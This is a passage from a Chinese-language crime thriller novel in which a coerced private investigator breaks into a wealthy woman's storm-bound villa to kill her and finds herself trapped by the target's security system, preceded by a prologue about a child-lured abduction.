《春夜与罪》 1. 楔子 东南亚 春夜与罪 余姗姗 2026.5月 楔子 东南亚麦城 这个地方似乎一年四季到头都是湿漉漉的。 都说这里旱雨季分明,从六月起才开始频繁降雨,而如今是三月,许多游客依然觉得浑身黏腻,毛孔被水汽围剿着,快要失去透气功能了。 刚到这里时魏紫也是这样的感觉,甚至有点后悔来,没想到这一待就是两年。 那时候的魏紫举步维艰,就和这刁难人的气候一样,似乎遇到的每个人都想找茬儿,没有一件事能顺利办下来,最后还是多亏现在的房东一家。 房东家姓倪,四代以前也是大陆人,不知出于什么原因跨洋到这里当了黑户,如今也算是本地人了。 倪家有两个儿子,一个十岁,一个七岁。因长期暴露在阳光下,两个孩子的皮肤颜色总令魏紫想起小时候吃的红皮小麦,晒得发红的时候更接近琥珀色,灯光下有些发黄,也更有光泽。而最令魏紫印象深刻的,就是房东小儿子那双墨黑色的眼睛。 …… 这天,魏紫一大早就去跳蚤市场掏了几样小玩意儿,不到十点便往回返。 其中有两样东西是给倪家孩子的,一件是不知真假却有着模糊签名的明星球衣,另一件则是跑车的旧模型。 当然,全新的礼物魏紫也买不起,而这两件都是她摸清了两个小孩的喜好之后挑选出来的,还跟卖家讨价还价了半个小时。 路途不远,魏紫一路溜达着往回走,前面不远处就有个菜市场,还能顺便买点食物。 她一边走一边回忆着家里还剩下的蔬菜瓜果,盘算着晚餐,脑子里很快就浮现出需要补充的食材。 可就在距离市场一百多米的地方,刚经过一片树荫,就听到身后传来一声熟悉的叫声:“姐姐。” 魏紫又往前走了两步才停下来,转头一看,糖棕树后面露出来半个瘦小的身体,还露出大半张脸和一双黑溜溜的眼睛。 不正是倪家的小儿子吗? 倪家曾祖父据说是识字的,刚偷渡到这里时还揣了一份家谱的誊写,到了曾孙这一代依然照着家谱起名,大儿子名叫倪泽熙,小儿子倪泽晟。 “晟晟?”魏紫看到来人,上前几步,笑着正准备接话,却不由得顿住。 倪泽晟一身的土,原本就不算干净的衣服上蹭了好几块泥巴,而脸上的皮肤不仅有两块脏了,在污渍围绕的最中间还破了皮,正在渗血。 “又跟谁打架了?”魏紫皱着眉头拉起倪泽晟的手臂,从上到下地检查,这才发现倪泽晟的双腿膝盖也破了,仿佛在泥地里滚过一圈,两条小腿几乎沾满了土。 “跟我回去上个药。欸,你哥呢……”魏紫边说边要拉着倪泽晟往回走,心里正快速回忆着家里能替换的小号T恤,如何才能让他“干干净净”地返家,不至于被房东夫妇责骂。 可魏紫还没走出一步,就被倪泽晟用力拽住。 魏紫诧异地转身,正好瞧见倪泽晟快速抽手的动作,他正对着手心的伤口呼呼吹气,嘴里断断续续地说:“哥还在那边,他腿摔折了……走不了……” “走,快带我过去。” 倪泽晟掉头就走,只是两条腿还不灵活,脚下紧倒着,嘴上说:“不能告诉爸妈。” “嗯,待会儿你们跟我回去,先给你们处理好伤口,把身上擦干净,再换个衣服。等天黑点了,我再送你们回家……”这不是魏紫头一次给两个孩子打掩护,随即又问起倪泽晟来龙去脉。 因一路小跑,倪泽晟说话时有点喘,听上去不连贯,反倒令魏紫忽略了话里的漏洞——说是倪泽熙一早就拉他出门,半道儿遇到了经常干架的“死对头”,他们还准备了大坑、做了陷阱,直到将倪泽熙推到坑里,还在坑边将倪泽晟打了一顿。 等那群孩子走了,倪泽晟这才爬起来想要救倪泽熙,却因为坑太大了够不着底,只好四处找人帮忙。 魏紫乍一听先是心疼,嘴上说着那几个“死对头”的不知轻重,心里也快速划过一丝疑惑:得是多大的坑,倪泽熙那么灵活都爬不上来? 说是“死对头”,不过都是十岁上下的孩子,挖那么大一个坑不现实,多半是遇到施工的坑,顺手做了个“陷阱”骗倪泽熙过去。 可这也不对,施工地有工人,总不能让这群孩子胡来,再说倪泽熙都掉坑里了,难道没有工人发现吗? 魏紫的思路刚走到这里,就有两道声音从不远处飘了过来。 “欸,就那小孩,就他,刚才差点骗了我的钱……我没给他,还骂我,骂什么没听懂,估计就是这里的话……” “害,就是一小孩儿,甭计较了。” 魏紫朝那边看了一眼,说话的是两个年轻女人,一看就是游客,她们说着还往这边看,显然说的就是倪泽晟。 魏紫脚下不停,边走边低头看着倪泽晟,问:“晟晟,你说的坑在哪儿呢?” “就……就在前面……” 倪泽晟的“边说边喘”此时倒像是心虚一般的“支支吾吾”。 “哪有坑啊?”魏紫越走越慢,瞧着前面,根本没有工地,而且 这条僻静的街道连一点人声都没有,连虫叫声都懒懒的。 倪泽晟低着头不说话,直到魏紫蹲下来问:“你哥人呢?” 倪泽晟快速看了魏紫一眼,双手绞在一起,似乎感觉不到伤口的疼,整张脸都憋红了,这才闷着声音说:“哥被抓了,他们说叫我带钱过去,才肯放了我哥。” “他们?”魏紫心思一转,方才的怀疑瞬间消散,“走,带我过去。” 那几个“死对头”魏紫都见过,也大概清楚是哪家的孩子,其中两个的父母就在菜市场买菜、卖鱼,另外一个比较难搞,爸妈都是混不吝——估计就是这个孩子挑的头儿。 魏紫心里盘完整个事情,脚下越来越快,气也蹭蹭往上涨——不管怎么说,先把倪泽熙“要”回来,也不知道被打成什么样了。 见魏紫态度变了,倪泽晟松了口气,脚下也不再磕绊,一路跑在前面,还时不时往后看,生怕魏紫没跟上来。 直到两人穿过一小片棕树林,远远瞧着前面就是一片自然生态景区,四周什么歇脚的地方都没有,只在林子中间有个木板搭建的露天小屋子,供游客“方便”。 魏紫走近了左右看看,问:“人呢?” 若是附近有一群小孩子,不可能这样安静。 倪泽晟往前跑了几步,用本地话叫道:“哥、哥!我……我把人带来了!” 魏紫跟着倪泽晟,脚下刚站住背后就多出一股尖锐的存在感,大热的天倏地袭来一股凉意。 然而魏紫刚听到脚踩在树叶上的声音,身后的“影子”就将她一把搂住,还捂住她的嘴。 她挣扎着,试图咬来人,试图踹对方,也尝试去掰对方的手,可一切都是徒劳。 东西散落一地,她的手脚都被来人绑了起来,地上摩擦出扭曲的痕迹,她甚至来不及喊叫。 直到她被一路拖拽到小道边,不知何时出现的小货车的门开了又关,所有“呜呜”声都被掩盖了。 不一会儿,从货车的驾驶座窗户伸出来一只手,黝黑的手指上箍着一个绿松石戒指。 倪泽晟跑上前,接过那只手递出来的五元美金,垂着眼睛一声未吭。 等货车开出小道彻底消失了,倪泽晟才抬起头,先看了看地上的车轮印,又看向货车离开的方向,随即回到刚才那块地,翻开布袋子和散落出来的东西。 他很快就发现那个跑车模型,将模型踹进兜里,又将钱包里的钱拿干净,放到鞋底。再拖着布包往回走,穿过来时的林子时手一松,布包无声地躺进灌木丛里,像是什么都没有发生过。 2. Chapter 1 Chapter1 十五年后 天空被一整团墨色云层笼罩着,吞噬了阳光,扑面而来的风合着海水和泥土的腥味儿,一阵又一阵呼呼地吹,眼瞅着风雨就要压到眉毛了。 靠在露台边的李迈青吸了口烟,烟头的火花亮了一瞬。 她看了一眼天,又转头扫向落地窗另一端屋内的女人身影。 此时站在李迈青旁边的男人名叫杨雄,他的视线同样锁定在室内,说话的对象却是李迈青:“我还是觉得你的想法太天真。” 李迈青回道:“天不天真的,反正都走到这步了,已经没别的路了。” 杨雄看向李迈青愁云惨淡的侧脸:“对方的意思是,只有杀了姓姚的,你女儿才能活。既然决定要干,不如就痛快点。就是一刀的事儿,不如让我来……” “杀个人还不容易吗?”李迈青对上杨雄的视线,眼色阴沉,“可你也不想想她是什么人,听说麦城所有赚钱的买卖都有一份,只要她给条消息,够我们吃十辈子!” “呵,命都要没了,她能给你实话吗?如果她说用一条消息交换她的命,你会放了她吗?” “那不可能。”李迈青嘴上果断道,却又在心里补了一句——除非姓姚的能把她女儿变出来。 杨雄叹气:“总之早点动手早点撤,兴许晚上就能见到你女儿……警局那边我可以去打招呼,真要是闹大了,王探长会帮咱们兜底……” “我早就提醒过你,他不是省油的灯,万一蛇鼠两端,拿咱们去邀功,有你哭的。你想,姓姚的是什么人……” “那都是后话。我就问你一点,多留她几个小时,你就有把握套到消息吗?” 李迈青冷笑一声,从兜里摸出手机,点了两下。 【这些年我帮你杀了那么多人,你这是打发要饭的呢?就不怕我给你捅出去?】 录音里先出现的是一个年轻男人的声音,语调不屑。 停顿了两秒,又响起一个女人的声音,不紧不慢且声音带笑:【我有叫你杀人么,哪句话是这么暗示的?捅出去了,第一个抓的就是你。不过看在朋友份上,我可以帮你请律师。】 录音又被李迈青按断,方才脸上的不自信和犹豫似乎被录音冲淡了一些,但她心里并没有稳赢的把握,看似笃定的表情下一直藏着隐忧。 杨雄也不认为凭几句录音就能要挟成功,可他想再说点什么,李迈青却已经按掉烟,站直了身体往屋里走。 杨雄上前一步,李迈青却先一步开口:“不过就是多等几个小时。我保证,她不配合,我会亲自动手。你要是不放心,现在就可以走,事儿都是我一个人干的,绝不连累你。” 话落,李迈青便头也不回地走向落地窗。 …… 开弓没有回头箭,事已至此,她已经没有退路。 赌输了就是死,可万一赌赢了呢? 从落地窗走向沙发区不过十几步,李迈青完成了最后一轮自我洗脑,终于吸了口气,一屁股坐在沙发对面的宽大茶桌上。 而此时坐在沙发里的女人,不仅姿态舒适丝毫不见紧张,甚至连个眼皮子都不抬,双目专注地落在文件上,她只动了动嘴唇,颇为礼貌地说:“麻烦倒一杯温水。” 正要开口的李迈青又顿住,双手撑在双腿旁,手指紧扣着茶桌下缘,并快速在脑海中排布了一遍桥段——一把抽走她手里的破纸,再撕碎了扔她脸上。都要死了,还在这儿装逼呢! 可李迈青什么都没做,只是起身走向水吧。 她一边倒水一边扫向女人的背影,蓝牙耳机也在此时响了起来,还伴随着风声:“这种天气,我估计明天以前都不会有人来,不过保险起见,我还是现在附近转一圈。电话别挂,万一有什么变故,我也好接应你。” “嗯。”李迈青几不可闻地应了一声,端着温水折回到沙发区。 “喝吧。” 水杯递到女人面前,女人似是微微笑了下:“水是给你喝的,你现在比我更需要。” 渴,李迈青这会儿的确很渴,而且绝大部分原因是因为紧张。她没有绑架过人,更没有杀过人,而今天她要将这两件事都办了。 她扫过女人身上轻薄的居家服,偏瘦的身材,保养细腻的皮 肤。不过就是个娇生惯养的富家女,没吃过苦,更没有半点反抗能力。 评估完对手实力,李迈青哼了一声,一口气喝掉大半杯,再一次坐下。 她知道,接下来第一句开场白一定要有足够的气势,还要让对方清楚地认识到自己的处境有多糟糕,这样才有利于后续“谈判”。 当然,按理说这一段早该在他们“闯”进来以后就上演,但一切都和他们想象得不太一样。 早在他们进来之前,延伸到屋外的网线就被杨雄割断了,还顺便对监控箱动了手脚,如今这栋屋子和外界算是完全断了联系。 突然见到两个陌生人进门,外面还是台风天,这栋大房子里只有一位单身女人,正常来说这个女人应该会怕、尖叫、反抗,联系外界或试图逃跑。 他们当然也想到了,所以早就准备好绳子和胶带…… 没想到这个姓姚女人却异常地冷静。 不,是平静,如一潭湖水,无风无波。 面对两个面露不善的不速之客,她左右打量了几秒钟,只说:“先让我看完这份文件。” 什么破文件竟比逃命还重要? 这下他俩倒有点不会了。 …… 这边,李迈青又喝了口水,从裤兜中抽出女人的手机看了看——确定关机了。 那边,女人拿起手边的遥控器按了一下。 李迈青身后的电视响了起来:“观众朋友们,本周麦城北部将面临强降雨和大风天气。直至明日,冷空气将继续席卷整个北方区域。降雨过后,天气将会转凉,北部气温会下降4-7摄氏度,南部和中部地区则小幅度降低1-3摄氏度。在此提醒广大民众,降雨期间为了您的安全……” “知道我是谁么?” 直到整段天气预报播完,女人合上文件夹并率先开口,目光轻轻落在李迈青脸上。 废话,不知道我们来干嘛? 李迈青对上女人的视线,也总算看清了那抹笑容,只是看不懂沉淀在那双深棕色眼眸中的意味。 “你叫姚岚,来自中国大陆。你来麦城,做投资。” 3. Chapter 2 Chapter2 在李迈青看来,姚岚问的无疑是个蠢问题。 姚,代表大陆春城的豪门。 做投资,说明她很有钱。 可李迈青不知道的,恰恰是这句回答暴露了她的无知。 姚岚的笑意淡了几分,提醒道:“我可以满足你的任何愿望。” 她的姓氏、名字不只是金钱的代称,还能施展“魔法”? 李迈青一顿,却再一次将姚岚的暗示想浅了——切,这无非就是姚岚的垂死挣扎,她要用“满足愿望”换自己一命。 不,什么愿望都不换,李迈青脑海中一闪而过的是女儿可爱稚嫩的脸。 然而即便这样坚定,李迈青还是忍不住好奇:“任何愿望……我想要什么都行?” “什么都行。”姚岚微笑道,“不过要得多,代价也会叠加,最终可能是无底洞。” 这很公平,不过大多数人支付不起。人性的贪婪和侥幸,总是希望少量付出甚至是不付出,换取巨额回报。 李迈青又问:“那你想用多少个愿望来换你的命?” 与此同时李迈青在心里说:不管多少个,你今天都死定了。 姚岚垂下眼皮轻笑一声,没有回答。 李迈青看不懂那层笑意,只品出来一丝嘲弄。 就在这时,姚岚环顾四周,漫不经心地来了一句:“这栋房子的设计师是我从大陆带过来的,大体上算符合我的喜好。” 这话落地,姚岚再次拿起遥控器,先按掉电视,又按了旁边一个钮,随即从落地窗上沿落下来一层帘幕,将阴沉憋闷的天彻底隔绝在外,而与此同时客厅的四周也相继亮起几盏灯。 这样的氛围一点都不像是杀人现场。 “接下来的对话,你可以录下来。”姚岚又一次开口。 李迈青的坐位更高,按理说更占据“居高临下”的优势,然而截至目前所有对话的主导权似乎都掌握在姚岚手里。 李迈青并不觉得不爽,她知道这些有钱人干什么都自带“强势”,学不会低头求饶,她也很看看姚岚能笑到什么时候。 李迈青从兜里拿出一直随身携带的录音笔,按了两下开始录音。 蓝牙耳机也在此时响起杨雄的声音:“别被她带节奏,她只是在拖延时间。” 李迈青没有理会,一直打量着姚岚。 精致、优雅、精明、柔弱,这些矛盾的形容词汇聚在这个女人身上,既违和又融洽。 姚岚双手环胸,露出来中指上的细圈戒指,上面只镶嵌了几颗碎钻,看上去不太起眼,可这是她身上唯一的首饰。 感受到李迈青的审视,姚岚问:“我的模样符合你的想象吗?” 是对姚岚这个人,还是对于“富家千金”的想象呢? 无论是哪一种,李迈青的答案都是一样的:“你和我以为的那种人一样。” 姚岚挑了下眉。 李迈青转而拿出自己的手机,点开先前给杨雄听过的录音又放了一遍,而姚岚的表情从头到尾都没有变化。 “你这么有钱,想要谁的命肯定不需要自己动手,就算被威胁,也有办法择得一干二净。”李迈青一边观察着姚岚一边说,“但是换个角度想,你都这么有钱了,有什么麻烦不能用钱摆平的,犯得上杀人吗?” 听到这样一段录音,又听到李迈青口中两种截然相反的结论,正常人都会感到诧异,并为自己辩解几句,哪怕是一句无力的“这录音是假的”或是质问她“谁给你的”。 “有时候杀人,可能是为了自保。”隔了几秒,姚岚这样说道。 “你承认了。”李迈青说,“什么自保,都是借口。” 姚岚漾出一抹笑,语气也很轻松:“就好比说,假设这栋房子只能有一个人活着出去,那么我为了活,就必须杀了你。而且你是擅闯民宅,我不用负法律责任。” 李迈青不屑地哼了一声:“你能干得过我?” 姚岚缓慢摇头,看似温和的目光一直盯着李迈青,忽而话锋一转:“五年前我在巴西遭到过一次绑架,他们的表面诉求是要钱,实则是奔着要命来的。不管我给不给钱,给多少钱,都得死。” 这听上去就和姚岚现在的处境一样,李迈青问:“那后来你是怎么逃出来的?” “我没有逃,也逃不掉。”姚岚说,“我是在有人准备动手的时候,才知道他们的真正打算。不过就在那时候,关我的仓库发生了爆炸,所有绑匪都死了,我也被炸成重伤。” 李迈青不屑地笑了:“你这皮光肉滑的,可不像是经历过爆炸。” “你信不信就算再严重的伤,这具身体一样能恢复如初?” 真扯。 这已经超出了李迈青对于医学的认知——她没有高学历,认知也受到阶层局限,自然无法想象有钱人的生活和他们享受的医疗科技究竟到什么程度,然而姚岚的描述也太天方夜谭了。 “你说的该不会是什么提取细胞修复之类的科技吧?” “其实很简单,炸伤了就换一块完整的皮肤,里面哪个零件坏了,就匹配一个新的。” 李迈青笑不出来了,她一直生活在东南亚,当然知道姚岚指的是什么,甚至于她的生活里也曾发生过。 高高在上,视他人生命为草菅——这实在符合李迈青对于姚岚先入为主的认知。 李迈青的妹妹已经失踪三年了,存活几率几乎为零。尽管不愿,李迈青却不得不接受现实。 可这并不代表她不恨。 事实上刚踏进门口时,李迈青还有些紧张、犹豫,现在却多了几分坚定,还多了一点杀心。 这个世界真是太不公平了。 “你是在炫耀。”李迈青沉下脸说,除了这个她想不出其他理由。 姚岚却道:“就算今天你杀了我,明天依然会有一个‘姚家人’出现。那个人甚至也可以叫‘姚岚’。姚不只是一个姓氏,更是一个符号。在麦城的投资只是整块版图的起点,以这里为中点,姚家还要相继入驻周围的五个城市。这件事不会因为任何人的意志为转移,哪怕是我。” 李迈青的嘴唇动了动,直到这一刻才好像终于明白了一点东西,可她却不知道该说什么。 姚岚的双腿叠在一起,慢条斯理道:“也就是说,不管你们闯入这里的目的是为了杀人、绑架还是敲诈,委托你们的人,他的目的一定无法达成。” “她是在诈你。”蓝牙耳机里杨雄提醒道。 可这句话根本入不了李迈青的耳。 李迈青当然想过,逼迫她来干这票的人无非就是两个目的,一个是要姚家企业的项目停摆,另一个则是别脏了自己的手。 可到了这一刻,她满脑子都在想:如果杀了姚岚,明天真的又出来另一个呢?管她是姚岚还是姚澜,只要能继续让项目运转,谁在乎她是谁?那样是不是意味着,不管她杀多少姓姚的,她的女儿都回不来了? 本来对这一切就没想清楚的 李迈青,一瞬间陷入了自我怀疑和无措。 就在这个时候,姚岚从沙发上起身。 李迈青没有拦,她的注意力早就不在姚岚身上。 姚岚到吧台倒了一杯水,一边喝一边看着这边。 直到李迈青抬起头,隔着昏暗的半个屋子,对上姚岚的视线。 姚岚拿着水杯踱步回来,边走边说:“试图绑架我的,我知道的就有十三波,你们两个是我见过准备最不充分的。尤其是你,连自己该做什么都不确定。” 这又是一个令李迈青感到意外的点,她想不到姚岚对于绑匪已经到了“见多识广”的程度。 杨雄的声音再次出现:“沉住气,他们这些有钱人比谁都怕死。她只是想动摇你。” 李迈青若有所思地点头,算是对杨雄的认同,说话的对象却是姚岚:“你说的就好像你不怕死一样。还有你刚才说的那些,只有杀了你才知道是不是真的。” 姚岚笑了笑,忽然切到另一个话题:“你是拿钱办事,还是有把柄在对方手里,不得不来?” 李迈青从茶几上站起来:“关你什么事。” 姚岚回答:“哦,是后者。” “……” 她是怎么猜到的? “会是什么样的把柄呢。”姚岚绕着沙发区缓慢地散步,像是自说自话,“以我的经验,要一个人的命,不是为了钱,就是为了换另一个人的命。如果是钱,我一定比对方多,十倍价格让你告诉我他的名字,应该够了……” 说话间,姚岚扫了李迈青一眼。 李迈青一直站在原地,身体没有大动,目光却一直追着姚岚。 和之前一样,她看不懂姚岚的眼神,却不喜欢这种被评估被读心的感觉,好像自己什么遮挡都没有。 只听姚岚落下结论:“原来是为了救人。” 李迈青一手捏着录音笔,另一手则在身侧攥紧。 “救”这个字似乎缓解了她的一点窘迫。这个字很伟大,听上去只会出现在“好人”身上,也能为即将犯下的罪刑找个借口。 “父母、丈夫,还是孩子?”姚岚不知何时已经来到李迈青三步远的地方,声音很轻。 李迈青的脸上出现一瞬间细微表情,睫毛也轻轻眨了一下。 姚岚的声音再次靠近:“男孩儿还是女孩儿?” 深吸一口气,李迈青抿了抿嘴唇,终于开口:“是我女儿。” “为母则刚,我很佩服。”姚岚没有笑,声音比刚才更实。 也是这一刻,李迈青终于看清了她眼睛里的东西,也从这种眼神中得到了一丝肯定。 很荒谬,也很意外。 李迈青竟然得到了一点安慰。 可这样的感觉并不能改变李迈青的决心,现在一切都说开了,她反而没那么紧张了:“你刚才说的什么爆炸,什么零件,都是框我的。你只是想探我的底牌。” 姚岚微微一笑,没有否认:“你信不信我从你给出的信息得出的东西,远比你自己知道的还要多?” 李迈青快速想了一圈,没有反驳,她也很想知道姚岚还解读出什么:“比如?” 姚岚再次迈开步子,优雅而从容,笃定的声音就如同她的走路姿态一样:“比如,你女儿失踪得太过突然,你的心乱了,即便来之前曾经冒出过疑问,也无暇、无力去深究。那就是,你既不是专业的,也不够狠,对方要的更不是一个普通人的命。这么重要的事儿怎么会让你来做呢?” 4. Chapter 3 Chapter3 是啊,有那么多手段凶残的亡命之徒,那个人怎么就挑中了她? 然而李迈青还来不及深思,就听姚岚问:“你是做什么的?” 李迈青回道:“私家侦探。” “哦,一般都接什么样的案子?” “婚外情居多。” “那你和那些被你调查的人,会有直接接触吗?” “几乎没有。” “你女儿多大了?” “四岁。” “有她的照片吗?” 李迈青沉默了一瞬,再次对上姚岚的目光。 这一连串看似没有关联的问题,李迈青回答时没有一丝防备。 随即她从兜里拿出一个薄款折叠钱夹,一打开就露出她和女儿的合照。 姚岚朝她靠近一步,定定看了一眼,又收回目光:“这么可爱,又这么小,不该遭遇这些。” 李迈青绷紧了下巴,将钱夹收回去,呼吸有些闷,也比刚才急促了些:“她很乖,也很懂事。” 姚岚折回到沙发前坐下,歪着头打量李迈青:“你要救女儿的心情很急迫,你本可以一闯进来就杀了我。为什么要等?” 李迈青吸了口气,又一次坐在茶几上,却没说话。 可即便她不说,姚岚也猜得到,她笑了笑,没有直接问“你想从我这里得到什么”,而是:“我有什么可以帮你的?” “你……”到了这一刻,李迈青已经逐渐认识到眼前这个女人的不简单,虽然还没有真正见识过她的实力,李迈青却没由来的相信她。 或者说,这是一种人因绝望而生出的希望。 “你能救我女儿吗?”李迈青终于问出口。 姚岚反问:“我的回答你会信吗?” 李迈青答不上来。 选择信,那么下一步她要怎么做?离开这里回家枯等? 这不可能。 要是选择不信,难道还真的杀了姚岚?那样对方就真的会放过她女儿吗? 问题僵在这里,李迈青也陷入两难。 就这样沉默着,气氛也跟着凝固起来,杨雄的声音全都被李迈青隔绝在思绪之外。 李迈青脑子里轰轰的,此时的她很需要一点外力支撑,用来维持那摇摇欲坠的安全感。 她的手下意识摸向上衣口袋,里面装着一支“笔”,打开笔帽却不是笔尖,而是注射器,里面是毒药。 她攥着那支笔,脑子里有两道声音正在打架。 直到姚岚忽然开口,将李迈青的意识从混沌中拉了出来:“我人生中第一次遭遇绑架的时候,和你的女儿一样大。” 李迈青先是愣了愣,恍过神问:“那你是怎么出来的?” 姚岚回道:“给了赎金以后绑匪闹内讧,两死一伤。家人将我带了回来。” 李迈青的心情忽上忽下,忍不住想到自己的女儿,不知道她会不会也有这样的运气。 “你和我们不同,你家里应该将你保护得很好,为什么还会被绑架?”李迈青又问。 这不只是问姚岚,也是她心里的疑惑:为什么是她,为什么是她女儿? “熟人作案。”姚岚平静道。 这四个字就如同一双手,瞬间捏紧了李迈青的心脏,脑海中快速掠过几个人。 然而姚岚下一句话,又再一次转移了李迈青的注意力:“但我不是唯一被绑架的小孩。当时和我一起的还有另外三个,一个男孩两个女孩。” 这完全超出了李迈青的想象:“他们也都是有钱人家的孩子?” 这太不合常理了,什么样的熟人有这种“资源”,能同时绑架四个富家子女?难道是老师? 李迈青继续追问:“那他们也都平安吗?” 李迈青的表情看上去有些担忧,可事实上她并不希望听到同样的答案。如果都平安,就等于侧面说明了有钱人的小孩才有资格从险境中脱身,因为有钱所以生存几率更高。 姚岚缓慢摇了下头:“那两个女孩都死了。” 然而听到这样的答案,李迈青又皱了皱眉,心中生出一丝怜悯。 “那天,我亲眼看到她们的尸体。”姚岚的声音很轻,“外面同样下着雨,其中一个就躺在水坑里,脸埋在泥里,手脚都向后折,一动不动。” 李迈青攥紧了拳头,脑海中也相继浮现出一副她想象出来的画面,甚至还想到或许埋在泥里的那张小脸是…… “后来,我家里人终于查到幕后主使,又是谁将我们的行踪出卖给绑匪。但他们没有告诉我名字,只是由姑姑问我,不管那个人是谁,如果抓到他,我想怎么办?” 姚岚微笑着讲述着后续,轻松和煦的声音响在过分安静的屋子里:“我说,杀了他。” 李迈青暗暗吸了口气,点头道:“是该死。” 随即她又道:“你是想告诉我,我不杀了你,你就会杀了我。” 姚岚没有直接回答,而是说:“你知道你和那些绑匪最大的不同是什么吗?” 李迈青不知道,只是盯着姚岚。 姚岚接着说:“是你既不够心狠,也不够心软。如果是前者,你早就动手了。除了杀人,你还会将这栋房子里所有值钱的东西都拿走;而如果是后者,你会去寻求警方的帮助,因为你知道不管自己遭遇如何,都不该波及我这个无辜的人。” 李迈青的呼吸逐渐加快,她知道自己必须尽快做出决定,要么走出门口,要么拿出那支装了毒药的“笔”。 “你想不想知道是谁抓了你女儿?”姚岚再次抛出问题。 难道她知道? 李迈青正要问,距离五、六米的墙壁那边却发出“咚”的一声。 那声音很闷,却很清晰,特别在这种紧绷氛围的衬托下。 李迈青的神经瞬间立了起来,她下意识看向声音来源,却什么都没看到。 那边只是一堵墙,连个家具或是装饰品都没有。 可李迈青确定自己没有听错:“那是什么?” 她又看向姚岚。 姚岚再次拿起用来控制窗帘的遥控器,按了一下。 先是响起细微的转动声,随即那面做了装饰花纹的墙壁便开始转动,露出里面的暗格。 又是一声闷响,有东西从暗格里滑了出来,倒在地上。 李迈青倏地站起身,叫声却卡在喉咙里,只是震惊地盯着那团被捆绑住的“东西”,和自他身上渗出来的一滩血迹。 下一秒,她就将那支“笔”拿了出来,却没有亮给姚岚看,只是攥在手里,借由身体作掩护小心藏在身后,同时后退两步盯着姚岚。 如果说之前李迈青还认定姚岚手无缚鸡之力,这会儿已经彻底改观。 这个 女人太过危险,她不敢赌,更不敢轻敌。 “他是谁?”李迈青的声音细微颤抖着。 “出了什么事?!”杨雄在耳机另一头听出了不对,急切地问。 而姚岚依然淡定:“上一个要杀我的人。” 所以是姚岚反制了这个男人,还是…… “这屋里还有别人?”李迈青用余光打量四周,只觉得汗毛一根根竖了起来,这句话也是在给户外的杨雄信号。 可如果还有其他人,为什么一直不出现? “等我,我这就过来!”杨雄在另一头叫道,同时传来急促的脚步声和风雨声。 李迈青没有回应杨雄,只是盯着姚岚。 姚岚摇头:“只有我和你。” 李迈青又问:“你为什么要留着尸体?” “他还活着。”姚岚微笑道。 李迈青小心翼翼地往后退,同时观察着姚岚的表情,以及她放在遥控器上的那只手。 直到李迈青退到倒在地上的男人身边,蹲下身侧头看过去,血是从男人嘴里渗出来的,但并不多,而且男人身上还有缓慢的呼吸起伏。 “其实我今天约了人,不过这种天气也不知道还能不能来。”姚岚说,“我想让客人见到这些总归不太好,所以在来人清理之前,只能先这样放着。” 李迈青抓住了她话里的重点:“也就是说今天要来两拨人?” “靠!”耳机里不仅传来杨雄的骂声,还响起“咚咚咚”地碰撞声,接着杨雄便喊道:“门打不开!这里什么时候多了钢板?!” 什么钢板? 李迈青听到这样的消息更紧张了,可她没有看向“声源”,事实上她根本不知道此时杨雄正在哪个方位。 也是直到这一刻,李迈青才注意到这栋房子的诡异之处:姚岚分明只是将窗帘放下,窗帘外还有落地窗,而外面的风雨那么大,声音却一丝都没有透进来。 她之前一直没有注意到这一点,不只是因为和姚岚的对话内容,也是因为耳机里持续出现的环境音令她产生了错觉。 李迈青快速跑向落地窗的方向,一把扯开窗帘,人却傻了。 落地窗外不知何时落下一层钢板,不仅阻断了风雨,还隔绝了外界的一切。 “放我出去!”此时的李迈青再也顾不得其他,不要说杀人了,她自己的生命都受到威胁,她只想逃。 “冷静,深呼吸。”姚岚第二次从沙发上起身,却没有拿遥控器。 耳机里出现一波又一波的杂音,雨声断断续续,而杨雄的声音早就听不见了。 眼见姚岚走向吧台,背对着这边按了几下咖啡机,咖啡机响起“滋滋”声,很快就有浓郁香醇的黑色液体流到杯子里。 李迈青则飞快地冲向沙发,拿起遥控器对着四周按了起来。 各种灯亮起来,电视也开了,音响开了又关,窗帘再次升了上去,唯独是那些钢板纹丝不动。 “没用的。”姚岚端起咖啡杯,吹掉浮头的热气,转身说,“保全系统只有我才能解除。你朋友也救不了你。” 李迈青说不出话,只是死死瞪着姚岚,眼神里凝聚着恐惧。 就是这一刻,耳机里的杂音消失了,静得不可思议。 姚岚一手端着咖啡杯,后腰靠着吧台,目光却扫向不远处的落地钟,说:“哦,他应该也躺下了。” 5. Chapter 4 Chapter4 李迈青真是一句话都说不出来,连攥着毒笔的掌心都浸满了汗。 到这一刻她才明白经历多次绑架的姚岚到底是个什么属性,那些经验可不是白来的。 还有那句“这栋房子的设计师是我从大陆带过来的,大体上算符合我的喜好”——不,不是符合喜好,而是符合“需求”! 姚岚的每一句话都在提醒、警告,可李迈青根本没有深思,也想不到这么多后续。 这会儿的李迈青心里不只绝望,还有无穷无尽地后悔,如果早知道姚岚是这样的狠角色,她绝对不会来! 怎么办,现在该怎么办?刚才那杯水…… 李迈青惊恐且充满警惕的目光下意识落在自己用过的杯子上,但很快就打消了念头。 不,水应该没毒,杯子是她拿的,水也是她倒的,而且后来姚岚也喝了同一个容器里的水,再说要是有毒她早该倒下了。 这世界上最恐惧的东西就是对未知的想象,而此刻的李迈青就处于这种心情,她努力让自己冷静下来并告诫自己,既然之前都没有中招,那么接下来一定要和姚岚保持住距离,还有不能再让姚岚触碰到那个遥控器。 想到这里,李迈青将遥控器扔到身后屋子最远的角落,“啪啦”一声声音清脆。 “你打算怎么对付我们?”李迈青稳着声线,问出这样一句。 姚岚喝了口咖啡,将问题抛回去:“你希望我怎么做?” “求你……放了我们。”李迈青的语气无比地虚,她也知道这不可能。 而她刚吐出这句话,脑海中瞬间闪现出姚岚之前说过的另一句:“什么都行。不过要得多,代价也会叠加,最终可能是无底洞。” 于是,李迈青又快速补充道:“你想要我们付出什么代价?” 姚岚将杯子放在一边,依然靠着吧台:“真是没有自知之明。” 什么意思? 李迈青品不出来。 只听姚岚说:“你连自保和保护女儿的能力都没有,跟我谈条件却还想捎带着另外一个人。” “可他是我叫来的……”李迈青试图解释,就好像这样说,她就对杨雄的生命安全有责任一样。 “他可以选择不来啊。既然来了,就该为自己的选择承担后果。” 李迈青一时接不上话,也没有再为这件事做更多描述,她垂下眼仔细想了想,同时权衡利弊。 不到十秒钟,李迈青再度开口:“那如果我希望你放了我们之中的一个,我需要付什么代价?” “为什么不只为自己求情?”姚岚终于离开吧台,朝李迈青的方向走了几步。 光影在她身上变幻着,从走出阴影,来到灯光之下,又因为灯光是从头顶洒下,令她的面容上出现一片阴影,看上去神秘莫测。 